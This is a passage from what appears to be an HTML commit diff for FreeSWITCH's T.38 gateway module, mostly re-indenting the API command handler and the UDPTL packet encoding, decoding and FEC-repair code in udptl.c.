</del><ins>+        /* If we don't have the expected number of parameters
+         * display usage */
+        if (argc != T38GATEWAY_PARAMS) {
+                stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
+                switch_safe_free(ccmd);
+                return SWITCH_STATUS_SUCCESS;
+        }
</ins><span class="cx">
</span><del>- uuid = argv[0];
- command = argv[1];
</del><ins>+        uuid = argv[0];
+        command = argv[1];
</ins><span class="cx">
</span><del>- /* using uuid locate a reference to the FreeSWITCH session */
- t38gateway_session = switch_core_session_locate(uuid);
</del><ins>+        /* using uuid locate a reference to the FreeSWITCH session */
+        t38gateway_session = switch_core_session_locate(uuid);
</ins><span class="cx">
</span><del>- /* If the session was not found exit */
- if (t38gateway_session == NULL) {
- switch_safe_free(ccmd);
- stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
- return SWITCH_STATUS_FALSE;
- }
</del><ins>+        /* If the session was not found exit */
+        if (t38gateway_session == NULL) {
+                switch_safe_free(ccmd);
+                stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
+                return SWITCH_STATUS_FALSE;
+        }
</ins><span class="cx">
</span><del>- /* Get current channel of the session to tag the session
- * This indicates that our module is present */
- channel = switch_core_session_get_channel(t38gateway_session);
</del><ins>+        /* Get current channel of the session to tag the session
+         * This indicates that our module is present */
+        channel = switch_core_session_get_channel(t38gateway_session);
</ins><span class="cx">
</span><del>- /* Is this channel already set? */
- bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
- /* If yes */
- if (bug != NULL) {
- /* If we have a stop remove audio bug */
- if (strcasecmp(command, "stop") == 0) {
- switch_channel_set_private(channel, "_t38gateway_", NULL);
- switch_core_media_bug_remove(t38gateway_session, &bug);
- switch_safe_free(ccmd);
- stream->write_function(stream, "+OK\n");
- return SWITCH_STATUS_SUCCESS;
- }
</del><ins>+        /* Is this channel already set? */
+        bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
+        /* If yes */
+        if (bug != NULL) {
+                /* If we have a stop remove audio bug */
+                if (strcasecmp(command, "stop") == 0) {
+                        switch_channel_set_private(channel, "_t38gateway_", NULL);
+                        switch_core_media_bug_remove(t38gateway_session, &bug);
+                        switch_safe_free(ccmd);
+                        stream->write_function(stream, "+OK\n");
+                        return SWITCH_STATUS_SUCCESS;
+                }
</ins><span class="cx">
</span><del>- /* We have already started */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
</del><ins>+                /* We have already started */
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
</ins><span class="cx">
</span><del>- switch_safe_free(ccmd);
- return SWITCH_STATUS_FALSE;
- }
</del><ins>+                switch_safe_free(ccmd);
+                return SWITCH_STATUS_FALSE;
+        }
</ins><span class="cx">
</span><del>- /* If we don't see the expected start exit */
- if (strcasecmp(command, "start") != 0) {
- switch_safe_free(ccmd);
- stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
- return SWITCH_STATUS_FALSE;
- }
</del><ins>+        /* If we don't see the expected start exit */
+        if (strcasecmp(command, "start") != 0) {
+                switch_safe_free(ccmd);
+                stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
+                return SWITCH_STATUS_FALSE;
+        }
</ins><span class="cx">
</span><del>- /* Allocate memory attached to this FreeSWITCH session for
- * use in the callback routine and to store state information */
- t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(t38gateway_session, sizeof(t38gateway_session_info_t));
</del><ins>+        /* Allocate memory attached to this FreeSWITCH session for
+         * use in the callback routine and to store state information */
+        t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(t38gateway_session, sizeof(t38gateway_session_info_t));
</ins><span class="cx">
</span><del>- /* Set initial values and states */
- t38gateway_info->session = t38gateway_session;
- t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
- t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
- t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
</del><ins>+        /* Set initial values and states */
+        t38gateway_info->session = t38gateway_session;
+        t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
+        t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
+        t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
</ins><span class="cx">
</span><del>- /* Add a media bug that allows me to intercept the
- * reading leg of the audio stream */
- status = switch_core_media_bug_add(t38gateway_session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
</del><ins>+        /* Add a media bug that allows me to intercept the
+         * reading leg of the audio stream */
+        status = switch_core_media_bug_add(t38gateway_session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
</ins><span class="cx">
</span><del>- /* If adding a media bug fails exit */
- if (status != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failure hooking to stream\n");
</del><ins>+        /* If adding a media bug fails exit */
+        if (status != SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failure hooking to stream\n");
</ins><span class="cx">
</span><del>- switch_safe_free(ccmd);
- return SWITCH_STATUS_FALSE;
- }
</del><ins>+                switch_safe_free(ccmd);
+                return SWITCH_STATUS_FALSE;
+        }
</ins><span class="cx">
</span><del>- /* Set the t38gateway tag to detect an existing t38gateway media bug */
- switch_channel_set_private(channel, "_t38gateway_", bug);
</del><ins>+        /* Set the t38gateway tag to detect an existing t38gateway media bug */
+        switch_channel_set_private(channel, "_t38gateway_", bug);
</ins><span class="cx">
</span><del>- /* Everything went according to plan! Notify the user */
- stream->write_function(stream, "+OK\n");
</del><ins>+        /* Everything went according to plan! Notify the user */
+        stream->write_function(stream, "+OK\n");
</ins><span class="cx">
</span><del>- switch_safe_free(ccmd);
- return SWITCH_STATUS_SUCCESS;
</del><ins>+        switch_safe_free(ccmd);
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_t38gatewayudptlc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -36,561 +36,528 @@
</span><span class="cx">
</span><span class="cx"> static int decode_length(const uint8_t *buf, int limit, int *len, int *pvalue)
</span><span class="cx"> {
</span><del>- if (*len >= limit)
- return -1;
- if ((buf[*len] & 0x80) == 0)
- {
- *pvalue = buf[(*len)++];
- return 0;
- }
- if ((buf[*len] & 0x40) == 0)
- {
- if (*len >= limit - 1)
- return -1;
- *pvalue = (buf[(*len)++] & 0x3F) << 8;
- *pvalue |= buf[(*len)++];
- return 0;
- }
- *pvalue = (buf[(*len)++] & 0x3F) << 14;
- /* Indicate we have a fragment */
- return 1;
</del><ins>+        if (*len >= limit)
+                return -1;
+        if ((buf[*len] & 0x80) == 0) {
+                *pvalue = buf[(*len)++];
+                return 0;
+        }
+        if ((buf[*len] & 0x40) == 0) {
+                if (*len >= limit - 1)
+                        return -1;
+                *pvalue = (buf[(*len)++] & 0x3F) << 8;
+                *pvalue |= buf[(*len)++];
+                return 0;
+        }
+        *pvalue = (buf[(*len)++] & 0x3F) << 14;
+        /* Indicate we have a fragment */
+        return 1;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx">
</span><del>-static int decode_open_type(const uint8_t *buf, int limit, int *len, const uint8_t **p_object, int *p_num_octets)
</del><ins>+static int decode_open_type(const uint8_t *buf, int limit, int *len, const uint8_t ** p_object, int *p_num_octets)
</ins><span class="cx"> {
</span><del>- int octet_cnt;
- int octet_idx;
- int stat;
- int i;
- const uint8_t **pbuf;
</del><ins>+        int octet_cnt;
+        int octet_idx;
+        int stat;
+        int i;
+        const uint8_t **pbuf;
</ins><span class="cx">
</span><del>- for (octet_idx = 0, *p_num_octets = 0; ; octet_idx += octet_cnt)
- {
- if ((stat = decode_length(buf, limit, len, &octet_cnt)) < 0)
- return -1;
- if (octet_cnt > 0)
- {
- *p_num_octets += octet_cnt;
</del><ins>+        for (octet_idx = 0, *p_num_octets = 0;; octet_idx += octet_cnt) {
+                if ((stat = decode_length(buf, limit, len, &octet_cnt)) < 0)
+                        return -1;
+                if (octet_cnt > 0) {
+                        *p_num_octets += octet_cnt;
</ins><span class="cx">
</span><del>- pbuf = &p_object[octet_idx];
- i = 0;
- /* Make sure the buffer contains at least the number of bits requested */
- if ((*len + octet_cnt) > limit)
- return -1;
</del><ins>+                        pbuf = &p_object[octet_idx];
+                        i = 0;
+                        /* Make sure the buffer contains at least the number of bits requested */
+                        if ((*len + octet_cnt) > limit)
+                                return -1;
</ins><span class="cx">
</span><del>- *pbuf = &buf[*len];
- *len += octet_cnt;
- }
- if (stat == 0)
- break;
- }
- return 0;
</del><ins>+                        *pbuf = &buf[*len];
+                        *len += octet_cnt;
+                }
+                if (stat == 0)
+                        break;
+        }
+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx">
</span><span class="cx"> static int encode_length(uint8_t *buf, int *len, int value)
</span><span class="cx"> {
</span><del>- int multiplier;
</del><ins>+        int multiplier;
</ins><span class="cx">
</span><del>- if (value < 0x80)
- {
- /* 1 octet */
- buf[(*len)++] = value;
- return value;
- }
- if (value < 0x4000)
- {
- /* 2 octets */
- /* Set the first bit of the first octet */
- buf[(*len)++] = ((0x8000 | value) >> 8) & 0xFF;
- buf[(*len)++] = value & 0xFF;
- return value;
- }
- /* Fragmentation */
- multiplier = (value < 0x10000) ? (value >> 14) : 4;
- /* Set the first 2 bits of the octet */
- buf[(*len)++] = 0xC0 | multiplier;
- return multiplier << 14;
</del><ins>+        if (value < 0x80) {
+                /* 1 octet */
+                buf[(*len)++] = value;
+                return value;
+        }
+        if (value < 0x4000) {
+                /* 2 octets */
+                /* Set the first bit of the first octet */
+                buf[(*len)++] = ((0x8000 | value) >> 8) & 0xFF;
+                buf[(*len)++] = value & 0xFF;
+                return value;
+        }
+        /* Fragmentation */
+        multiplier = (value < 0x10000) ? (value >> 14) : 4;
+        /* Set the first 2 bits of the octet */
+        buf[(*len)++] = 0xC0 | multiplier;
+        return multiplier << 14;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx">
</span><span class="cx"> static int encode_open_type(uint8_t *buf, int *len, const uint8_t *data, int num_octets)
</span><span class="cx"> {
</span><del>- int enclen;
- int octet_idx;
- uint8_t zero_byte;
</del><ins>+        int enclen;
+        int octet_idx;
+        uint8_t zero_byte;
</ins><span class="cx">
</span><del>- /* If open type is of zero length, add a single zero byte (10.1) */
- if (num_octets == 0)
- {
- zero_byte = 0;
- data = &zero_byte;
- num_octets = 1;
- }
- /* Encode the open type */
- for (octet_idx = 0; ; num_octets -= enclen, octet_idx += enclen)
- {
- if ((enclen = encode_length(buf, len, num_octets)) < 0)
- return -1;
- if (enclen > 0)
- {
- memcpy(&buf[*len], &data[octet_idx], enclen);
- *len += enclen;
- }
- if (enclen >= num_octets)
- break;
- }
</del><ins>+        /* If open type is of zero length, add a single zero byte (10.1) */
+        if (num_octets == 0) {
+                zero_byte = 0;
+                data = &zero_byte;
+                num_octets = 1;
+        }
+        /* Encode the open type */
+        for (octet_idx = 0;; num_octets -= enclen, octet_idx += enclen) {
+                if ((enclen = encode_length(buf, len, num_octets)) < 0)
+                        return -1;
+                if (enclen > 0) {
+                        memcpy(&buf[*len], &data[octet_idx], enclen);
+                        *len += enclen;
+                }
+                if (enclen >= num_octets)
+                        break;
+        }
</ins><span class="cx">
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx">
</span><span class="cx"> int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len)
</span><span class="cx"> {
</span><del>- int stat;
- int stat2;
- int i;
- int j;
- int k;
- int l;
- int m;
- int x;
- int limit;
- int which;
- int ptr;
- int count;
- int total_count;
- int seq_no;
- const uint8_t *msg;
- const uint8_t *data;
- int msg_len;
- int repaired[16];
- const uint8_t *bufs[16];
- int lengths[16];
- int span;
- int entries;
</del><ins>+        int stat;
+        int stat2;
+        int i;
+        int j;
+        int k;
+        int l;
+        int m;
+        int x;
+        int limit;
+        int which;
+        int ptr;
+        int count;
+        int total_count;
+        int seq_no;
+        const uint8_t *msg;
+        const uint8_t *data;
+        int msg_len;
+        int repaired[16];
+        const uint8_t *bufs[16];
+        int lengths[16];
+        int span;
+        int entries;
</ins><span class="cx">
</span><del>- ptr = 0;
- /* Decode seq_number */
- if (ptr + 2 > len)
- return -1;
- seq_no = (buf[0] << 8) | buf[1];
- ptr += 2;
- /* Break out the primary packet */
- if ((stat = decode_open_type(buf, len, &ptr, &msg, &msg_len)) != 0)
- return -1;
- /* Decode error_recovery */
- if (ptr + 1 > len)
- return -1;
- /* Our buffers cannot tolerate overlength packets */
- if (msg_len > LOCAL_FAX_MAX_DATAGRAM)
- return -1;
- /* Update any missed slots in the buffer */
- for (i = s->rx_seq_no; seq_no > i; i++)
- {
- x = i & UDPTL_BUF_MASK;
- s->rx[x].buf_len = -1;
- s->rx[x].fec_len[0] = 0;
- s->rx[x].fec_span = 0;
- s->rx[x].fec_entries = 0;
- }
- /* Save the new packet. Pure redundancy mode won't use this, but some systems will switch
- into FEC mode after sending some redundant packets. */
- x = seq_no & UDPTL_BUF_MASK;
- memcpy(s->rx[x].buf, msg, msg_len);
- s->rx[x].buf_len = msg_len;
- s->rx[x].fec_len[0] = 0;
- s->rx[x].fec_span = 0;
- s->rx[x].fec_entries = 0;
- if ((buf[ptr++] & 0x80) == 0)
- {
- /* Secondary packet mode for error recovery */
- /* We might have the packet we want, but we need to check through
- the redundant stuff, and verify the integrity of the UDPTL.
- This greatly reduces our chances of accepting garbage. */
- total_count = 0;
- do
- {
- if ((stat2 = decode_length(buf, len, &ptr, &count)) < 0)
- return -1;
- for (i = 0; i < count; i++)
- {
- if ((stat = decode_open_type(buf, len, &ptr, &bufs[total_count + i], &lengths[total_count + i])) != 0)
- return -1;
- }
- total_count += count;
- }
- while (stat2 > 0);
- /* We should now be exactly at the end of the packet. If not, this is a fault. */
- if (ptr != len)
- return -1;
- if (seq_no > s->rx_seq_no)
- {
- /* We received a later packet than we expected, so we need to check if we can fill in the gap from the
- secondary packets. */
- /* Step through in reverse order, so we go oldest to newest */
- for (i = total_count; i > 0; i--)
- {
- if (seq_no - i >= s->rx_seq_no)
- {
- /* This one wasn't seen before */
- /* Decode the secondary packet */
</del><ins>+        ptr = 0;
+        /* Decode seq_number */
+        if (ptr + 2 > len)
+                return -1;
+        seq_no = (buf[0] << 8) | buf[1];
+        ptr += 2;
+        /* Break out the primary packet */
+        if ((stat = decode_open_type(buf, len, &ptr, &msg, &msg_len)) != 0)
+                return -1;
+        /* Decode error_recovery */
+        if (ptr + 1 > len)
+                return -1;
+        /* Our buffers cannot tolerate overlength packets */
+        if (msg_len > LOCAL_FAX_MAX_DATAGRAM)
+                return -1;
+        /* Update any missed slots in the buffer */
+        for (i = s->rx_seq_no; seq_no > i; i++) {
+                x = i & UDPTL_BUF_MASK;
+                s->rx[x].buf_len = -1;
+                s->rx[x].fec_len[0] = 0;
+                s->rx[x].fec_span = 0;
+                s->rx[x].fec_entries = 0;
+        }
+        /* Save the new packet. Pure redundancy mode won't use this, but some systems will switch
+         into FEC mode after sending some redundant packets. */
+        x = seq_no & UDPTL_BUF_MASK;
+        memcpy(s->rx[x].buf, msg, msg_len);
+        s->rx[x].buf_len = msg_len;
+        s->rx[x].fec_len[0] = 0;
+        s->rx[x].fec_span = 0;
+        s->rx[x].fec_entries = 0;
+        if ((buf[ptr++] & 0x80) == 0) {
+                /* Secondary packet mode for error recovery */
+                /* We might have the packet we want, but we need to check through
+                 the redundant stuff, and verify the integrity of the UDPTL.
+                 This greatly reduces our chances of accepting garbage. */
+                total_count = 0;
+                do {
+                        if ((stat2 = decode_length(buf, len, &ptr, &count)) < 0)
+                                return -1;
+                        for (i = 0; i < count; i++) {
+                                if ((stat = decode_open_type(buf, len, &ptr, &bufs[total_count + i], &lengths[total_count + i])) != 0)
+                                        return -1;
+                        }
+                        total_count += count;
+                }
+                while (stat2 > 0);
+                /* We should now be exactly at the end of the packet. If not, this is a fault. */
+                if (ptr != len)
+                        return -1;
+                if (seq_no > s->rx_seq_no) {
+                        /* We received a later packet than we expected, so we need to check if we can fill in the gap from the
+                         secondary packets. */
+                        /* Step through in reverse order, so we go oldest to newest */
+                        for (i = total_count; i > 0; i--) {
+                                if (seq_no - i >= s->rx_seq_no) {
+                                        /* This one wasn't seen before */
+                                        /* Decode the secondary packet */
</ins><span class="cx"> #if defined(UDPTL_DEBUG)
</span><del>- fprintf(stderr, "Secondary %d, len %d\n", seq_no - i, lengths[i - 1]);
</del><ins>+                                        fprintf(stderr, "Secondary %d, len %d\n", seq_no - i, lengths[i - 1]);
</ins><span class="cx"> #endif
</span><del>- /* Save the new packet. Redundancy mode won't use this, but some systems will switch into
- FEC mode after sending some redundant packets, and this may then be important. */
- x = (seq_no - i) & UDPTL_BUF_MASK;
- memcpy(s->rx[x].buf, bufs[i - 1], lengths[i - 1]);
- s->rx[x].buf_len = lengths[i - 1];
- s->rx[x].fec_len[0] = 0;
- s->rx[x].fec_span = 0;
- s->rx[x].fec_entries = 0;
- if (s->rx_packet_handler(s->user_data, bufs[i - 1], lengths[i - 1], seq_no - i) < 0)
- fprintf(stderr, "Bad IFP\n");
- }
- }
- }
- }
- else
- {
- /* FEC mode for error recovery */
</del><ins>+                                        /* Save the new packet. Redundancy mode won't use this, but some systems will switch into
+                                         FEC mode after sending some redundant packets, and this may then be important. */
+                                        x = (seq_no - i) & UDPTL_BUF_MASK;
+                                        memcpy(s->rx[x].buf, bufs[i - 1], lengths[i - 1]);
+                                        s->rx[x].buf_len = lengths[i - 1];
+                                        s->rx[x].fec_len[0] = 0;
+                                        s->rx[x].fec_span = 0;
+                                        s->rx[x].fec_entries = 0;
+                                        if (s->rx_packet_handler(s->user_data, bufs[i - 1], lengths[i - 1], seq_no - i) < 0)
+                                                fprintf(stderr, "Bad IFP\n");
+                                }
+                        }
+                }
+        } else {
+                /* FEC mode for error recovery */
</ins><span class="cx">
</span><del>- /* Decode the FEC packets */
- /* The span is defined as an unconstrained integer, but will never be more
- than a small value. */
- if (ptr + 2 > len)
- return -1;
- if (buf[ptr++] != 1)
- return -1;
- span = buf[ptr++];
</del><ins>+                /* Decode the FEC packets */
+                /* The span is defined as an unconstrained integer, but will never be more
+                 than a small value. */
+                if (ptr + 2 > len)
+                        return -1;
+                if (buf[ptr++] != 1)
+                        return -1;
+                span = buf[ptr++];
</ins><span class="cx">
</span><del>- x = seq_no & UDPTL_BUF_MASK;
</del><ins>+                x = seq_no & UDPTL_BUF_MASK;
</ins><span class="cx">
</span><del>- s->rx[x].fec_span = span;
</del><ins>+                s->rx[x].fec_span = span;
</ins><span class="cx">
</span><del>- memset(repaired, 0, sizeof(repaired));
- repaired[x] = TRUE;
</del><ins>+                memset(repaired, 0, sizeof(repaired));
+                repaired[x] = TRUE;
</ins><span class="cx">
</span><del>- /* The number of entries is defined as a length, but will only ever be a small
- value. Treat it as such. */
- if (ptr + 1 > len)
- return -1;
- entries = buf[ptr++];
- s->rx[x].fec_entries = entries;
</del><ins>+                /* The number of entries is defined as a length, but will only ever be a small
+                 value. Treat it as such. */
+                if (ptr + 1 > len)
+                        return -1;
+                entries = buf[ptr++];
+                s->rx[x].fec_entries = entries;
</ins><span class="cx">
</span><del>- /* Decode the elements */
- for (i = 0; i < entries; i++)
- {
- if ((stat = decode_open_type(buf, len, &ptr, &data, &s->rx[x].fec_len[i])) != 0)
- return -1;
- if (s->rx[x].fec_len[i] > LOCAL_FAX_MAX_DATAGRAM)
- return -1;
</del><ins>+                /* Decode the elements */
+                for (i = 0; i < entries; i++) {
+                        if ((stat = decode_open_type(buf, len, &ptr, &data, &s->rx[x].fec_len[i])) != 0)
+                                return -1;
+                        if (s->rx[x].fec_len[i] > LOCAL_FAX_MAX_DATAGRAM)
+                                return -1;
</ins><span class="cx">
</span><del>- /* Save the new FEC data */
- memcpy(s->rx[x].fec[i], data, s->rx[x].fec_len[i]);
</del><ins>+                        /* Save the new FEC data */
+                        memcpy(s->rx[x].fec[i], data, s->rx[x].fec_len[i]);
</ins><span class="cx"> #if 0
</span><del>- fprintf(stderr, "FEC: ");
- for (j = 0; j < s->rx[x].fec_len[i]; j++)
- fprintf(stderr, "%02X ", data[j]);
- fprintf(stderr, "\n");
</del><ins>+                        fprintf(stderr, "FEC: ");
+                        for (j = 0; j < s->rx[x].fec_len[i]; j++)
+                                fprintf(stderr, "%02X ", data[j]);
+                        fprintf(stderr, "\n");
</ins><span class="cx"> #endif
</span><del>- }
- /* We should now be exactly at the end of the packet. If not, this is a fault. */
- if (ptr != len)
- return -1;
- /* See if we can reconstruct anything which is missing */
- /* TODO: this does not comprehensively hunt back and repair everything that is possible */
- for (l = x; l != ((x - (16 - span*entries)) & UDPTL_BUF_MASK); l = (l - 1) & UDPTL_BUF_MASK)
- {
- if (s->rx[l].fec_len[0] <= 0)
- continue;
- for (m = 0; m < s->rx[l].fec_entries; m++)
- {
- limit = (l + m) & UDPTL_BUF_MASK;
- for (which = -1, k = (limit - s->rx[l].fec_span*s->rx[l].fec_entries) & UDPTL_BUF_MASK; k != limit; k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK)
- {
- if (s->rx[k].buf_len <= 0)
- which = (which == -1) ? k : -2;
- }
- if (which >= 0)
- {
- /* Repairable */
- for (j = 0; j < s->rx[l].fec_len[m]; j++)
- {
- s->rx[which].buf[j] = s->rx[l].fec[m][j];
- for (k = (limit - s->rx[l].fec_span*s->rx[l].fec_entries) & UDPTL_BUF_MASK; k != limit; k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK)
- s->rx[which].buf[j] ^= (s->rx[k].buf_len > j) ? s->rx[k].buf[j] : 0;
- }
- s->rx[which].buf_len = s->rx[l].fec_len[m];
- repaired[which] = TRUE;
- }
- }
- }
- /* Now play any new packets forwards in time */
- for (l = (x + 1) & UDPTL_BUF_MASK, j = seq_no - UDPTL_BUF_MASK; l != x; l = (l + 1) & UDPTL_BUF_MASK, j++)
- {
- if (repaired[l])
- {
</del><ins>+                }
+                /* We should now be exactly at the end of the packet. If not, this is a fault. */
+                if (ptr != len)
+                        return -1;
+                /* See if we can reconstruct anything which is missing */
+                /* TODO: this does not comprehensively hunt back and repair everything that is possible */
+                for (l = x; l != ((x - (16 - span * entries)) & UDPTL_BUF_MASK); l = (l - 1) & UDPTL_BUF_MASK) {
+                        if (s->rx[l].fec_len[0] <= 0)
+                                continue;
+                        for (m = 0; m < s->rx[l].fec_entries; m++) {
+                                limit = (l + m) & UDPTL_BUF_MASK;
+                                for (which = -1, k = (limit - s->rx[l].fec_span * s->rx[l].fec_entries) & UDPTL_BUF_MASK; k != limit;
+                                         k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK) {
+                                        if (s->rx[k].buf_len <= 0)
+                                                which = (which == -1) ? k : -2;
+                                }
+                                if (which >= 0) {
+                                        /* Repairable */
+                                        for (j = 0; j < s->rx[l].fec_len[m]; j++) {
+                                                s->rx[which].buf[j] = s->rx[l].fec[m][j];
+                                                for (k = (limit - s->rx[l].fec_span * s->rx[l].fec_entries) & UDPTL_BUF_MASK; k != limit;
+                                                         k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK)
+                                                        s->rx[which].buf[j] ^= (s->rx[k].buf_len > j) ? s->rx[k].buf[j] : 0;
+                                        }
+                                        s->rx[which].buf_len = s->rx[l].fec_len[m];
+                                        repaired[which] = TRUE;
+                                }
+                        }
+                }
+                /* Now play any new packets forwards in time */
+                for (l = (x + 1) & UDPTL_BUF_MASK, j = seq_no - UDPTL_BUF_MASK; l != x; l = (l + 1) & UDPTL_BUF_MASK, j++) {
+                        if (repaired[l]) {
</ins><span class="cx"> #if defined(UDPTL_DEBUG)
</span><del>- fprintf(stderr, "Fixed packet %d, len %d\n", j, l);
</del><ins>+                                fprintf(stderr, "Fixed packet %d, len %d\n", j, l);
</ins><span class="cx"> #endif
</span><del>- if (s->rx_packet_handler(s->user_data, s->rx[l].buf, s->rx[l].buf_len, j) < 0)
- fprintf(stderr, "Bad IFP\n");
- }
- }
- }
- /* If packets are received out of sequence, we may have already processed this packet from the error
- recovery information in a packet already received. */
- if (seq_no >= s->rx_seq_no)
- {
- /* Decode the primary packet */
</del><ins>+                                if (s->rx_packet_handler(s->user_data, s->rx[l].buf, s->rx[l].buf_len, j) < 0)
+                                        fprintf(stderr, "Bad IFP\n");
+                        }
+                }
+        }
+        /* If packets are received out of sequence, we may have already processed this packet from the error
+         recovery information in a packet already received. */
+        if (seq_no >= s->rx_seq_no) {
+                /* Decode the primary packet */
</ins><span class="cx"> #if defined(UDPTL_DEBUG)
</span><del>- fprintf(stderr, "Primary packet %d, len %d\n", seq_no, msg_len);
</del><ins>+                fprintf(stderr, "Primary packet %d, len %d\n", seq_no, msg_len);
</ins><span class="cx"> #endif
</span><del>- if (s->rx_packet_handler(s->user_data, msg, msg_len, seq_no) < 0)
- fprintf(stderr, "Bad IFP\n");
- }
</del><ins>+                if (s->rx_packet_handler(s->user_data, msg, msg_len, seq_no) < 0)
+                        fprintf(stderr, "Bad IFP\n");
+        }
</ins><span class="cx">
</span><del>- s->rx_seq_no = (seq_no + 1) & 0xFFFF;
- return 0;
</del><ins>+        s->rx_seq_no = (seq_no + 1) & 0xFFFF;
+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx">
</span><span class="cx"> int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len)
</span><span class="cx"> {
</span><del>- uint8_t fec[LOCAL_FAX_MAX_DATAGRAM];
- int i;
- int j;
- int seq;
- int entry;
- int entries;
- int span;
- int m;
- int len;
- int limit;
- int high_tide;
</del><ins>+        uint8_t fec[LOCAL_FAX_MAX_DATAGRAM];
+        int i;
+        int j;
+        int seq;
+        int entry;
+        int entries;
+        int span;
+        int m;
+        int len;
+        int limit;
+        int high_tide;
</ins><span class="cx">
</span><del>- /* UDPTL cannot cope with zero length messages, and our buffering for redundancy limits their
- maximum length. */
- if (msg_len < 1 || msg_len > LOCAL_FAX_MAX_DATAGRAM)
- return -1;
- seq = s->tx_seq_no & 0xFFFF;
</del><ins>+        /* UDPTL cannot cope with zero length messages, and our buffering for redundancy limits their
+         maximum length. */
+        if (msg_len < 1 || msg_len > LOCAL_FAX_MAX_DATAGRAM)
+                return -1;
+        seq = s->tx_seq_no & 0xFFFF;
</ins><span class="cx">
</span><del>- /* Map the sequence number to an entry in the circular buffer */
- entry = seq & UDPTL_BUF_MASK;
</del><ins>+        /* Map the sequence number to an entry in the circular buffer */
+        entry = seq & UDPTL_BUF_MASK;
</ins><span class="cx">
</span><del>- /* We save the message in a circular buffer, for generating FEC or
- redundancy sets later on. */
- s->tx[entry].buf_len = msg_len;
- memcpy(s->tx[entry].buf, msg, msg_len);
-
- /* Build the UDPTL packet */
</del><ins>+        /* We save the message in a circular buffer, for generating FEC or
+         redundancy sets later on. */
+        s->tx[entry].buf_len = msg_len;
+        memcpy(s->tx[entry].buf, msg, msg_len);
</ins><span class="cx">
</span><del>- len = 0;
- /* Encode the sequence number */
- buf[len++] = (seq >> 8) & 0xFF;
- buf[len++] = seq & 0xFF;
</del><ins>+        /* Build the UDPTL packet */
</ins><span class="cx">
</span><del>- /* Encode the primary packet */
- if (encode_open_type(buf, &len, msg, msg_len) < 0)
- return -1;
</del><ins>+        len = 0;
+        /* Encode the sequence number */
+        buf[len++] = (seq >> 8) & 0xFF;
+        buf[len++] = seq & 0xFF;
</ins><span class="cx">
</span><del>- /* Encode the appropriate type of error recovery information */
- switch (s->error_correction_scheme)
- {
- case UDPTL_ERROR_CORRECTION_NONE:
- /* Encode the error recovery type */
- buf[len++] = 0x00;
- /* The number of entries will always be zero, so it is pointless allowing
- for the fragmented case here. */
- if (encode_length(buf, &len, 0) < 0)
- return -1;
- break;
- case UDPTL_ERROR_CORRECTION_REDUNDANCY:
- /* Encode the error recovery type */
- buf[len++] = 0x00;
- if (s->tx_seq_no > s->error_correction_entries)
- entries = s->error_correction_entries;
- else
- entries = s->tx_seq_no;
- /* The number of entries will always be small, so it is pointless allowing
- for the fragmented case here. */
- if (encode_length(buf, &len, entries) < 0)
- return -1;
- /* Encode the elements */
- for (i = 0; i < entries; i++)
- {
- j = (entry - i - 1) & UDPTL_BUF_MASK;
- if (encode_open_type(buf, &len, s->tx[j].buf, s->tx[j].buf_len) < 0)
- return -1;
- }
- break;
- case UDPTL_ERROR_CORRECTION_FEC:
